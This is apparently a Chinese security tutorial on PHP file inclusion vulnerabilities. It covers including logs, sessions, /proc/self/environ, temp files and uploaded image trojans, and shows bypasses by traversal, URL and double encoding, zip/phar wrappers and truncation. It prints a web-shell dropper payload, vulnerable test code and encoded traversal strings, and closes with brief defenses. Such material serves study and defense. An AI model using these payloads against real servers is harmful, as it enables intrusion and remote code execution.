      如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全起见,安装apache时尽量不要使用默认路径。

    参考文章:1.包含日志文件getshell
         2.一道包含日志文件的CTF题

    0x06 包含SESSION

    可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

    利用条件:

    • 找到Session内的可控变量
    • Session文件可读写,并且知道存储路径

    php的session文件的保存路径可以在phpinfo的session.save_path看到。
    在这里插入图片描述
    session常见存储路径:

    • /var/lib/php/sess_PHPSESSID
    • /var/lib/php/sess_PHPSESSID
    • /tmp/sess_PHPSESSID
    • /tmp/sessions/sess_PHPSESSID
    • session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

    参考文章:一道SESSION包含的CTF题

    0x06 包含/pros/self/environ

    proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

    利用条件:

    • php以cgi方式运行,这样environ才会保持UA头。
    • environ文件存储位置已知,且environ文件可读。

    参考文章:proc / self / environ Injection

    0x07 包含临时文件

    在这里插入图片描述
    php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

    由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

    另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

    类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

    0x08 包含上传文件

    很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。

    图片马的制作方式如下,在cmd控制台下输入:

    进入1.jph和2.php的文件目录后,执行:
    
    copy  1.jpg/b+2.php  3.jpg
    
    将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
    

    假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
    图片代码如下:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
    

    然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

    0x09 其他包含姿势

    • 包含SMTP(日志)
    • 包含xss



    文件包含漏洞的绕过方法


    0x09 指定前缀绕过

    一、目录遍历

    使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
    测试代码如下:

    <?php
    	error_reporting(0);
    	$file = $_GET["file"];
    	//前缀
    	include "/var/www/html/".$file;
    
    	highlight_file(__FILE__);
    ?>
    

    现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

     include.php?file=../../log/flag.txt
    

    则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。

    二、编码绕过

    服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
    1.利用url编码

    • ../

      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\

      • %2e%2e%5c
      • ..%5c
      • %2e%2e\

    2.二次编码

    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c

    3.容器/服务器的编码方式


    0x10 指定后缀绕过

    后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

    <?php
    	error_reporting(0);
    	$file = $_GET["file"];
    	//后缀
    	include $file.".txt";
    
    	highlight_file(__FILE__);
    ?>
    

    一、利用url

    在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
    可参考此文章:URI’s fragment

    完整url格式:

    protocol :// hostname[:port] / path / [;parameters][?query]#fragment
    

    query(?)

    • [访问参数] ?file=http://localhost:8081/phpinfo.php?
    • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述
    在这里插入图片描述
    fragment(#)

    • [访问参数] ?file=http://localhost:8081/phpinfo.php%23
    • [拼接后]  ?file=http://localhost:8081/phpinfo.php#.txt

    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述
    在这里插入图片描述

    二、利用协议

    利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

    zip://

    • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo
    • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

    phar://

    • [访问参数] ?file=phar://zip.zip/phpinfo
    • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

    Example:
    (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>))
    所以分别构造payload为:

    ?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
    在这里插入图片描述
    ?file=phar://../../php.zip/phpinfo
    在这里插入图片描述

    三、长度截断

    利用条件:

    • php版本 < php 5.2.8

    原理:

    • Windows下目录最大长度为256字节,超出的部分会被丢弃
    • Linux下目录最大长度为4096字节,超出的部分会被丢弃。

    利用方法:

    • 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

        ?file=./././。。。省略。。。././shell.php
      

    则指定的后缀.txt会在达到最大值后会被直接丢弃掉

    四、%00截断

    利用条件:

    • magic_quotes_gpc = Off
    • php版本 < php 5.3.4

    利用方法:

    • 直接在文件名的最后加上%00来截断指定的后缀名

        ?file=shell.php%00
      

    注:现在用到%00阶段的情况已经不多了



    文件包含漏洞防御


    • allow_url_include和allow_url_fopen最小权限化

    • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)

    • 白名单限制包含文件,或者严格过滤 . / \

    展开全文

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 95,642
精华内容 38,256
关键字:

文件包含漏洞